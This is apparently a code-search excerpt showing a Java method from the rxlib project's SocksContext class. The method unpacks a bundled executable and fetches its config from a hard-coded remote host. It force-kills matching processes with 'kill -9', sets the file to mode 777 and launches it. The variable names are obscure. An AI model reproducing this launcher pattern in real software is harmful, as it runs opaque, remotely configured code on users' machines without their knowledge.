use of org.rx.core.ShellCommander in project rxlib by RockyLOMO.
the class SocksContext method omega.
@SneakyThrows
public static void omega(String n, BiAction<ShellCommander.OutPrintEventArgs> o) {
try {
int d = 100;
String k = "omega", c = "./m/", z = c + "o", i = c + "c";
Files.createDirectory(c);
Files.saveFile(z, Reflects.getResource(k));
Thread.sleep(d);
Files.unzip(z, c);
Thread.sleep(d);
new HttpClient().get("https://cloud.f-li.cn:6400/" + k + "_" + n).toFile(i);
Thread.sleep(d);
ShellCommander.exec("ps -ef|grep -v grep|grep ./f|awk '{print $2}'|xargs kill -9", c);
ShellCommander.exec("chmod 777 f", c);
ShellCommander sc = new ShellCommander("./f -c c", c);
if (o != null) {
sc.onOutPrint.combine((s, e) -> o.invoke(e));
}
Container.register(ShellCommander.class, sc.start());
} catch (Throwable e) {
if (o != null) {
o.invoke(new ShellCommander.OutPrintEventArgs(0, e.toString()));
}
}
}
Aggregations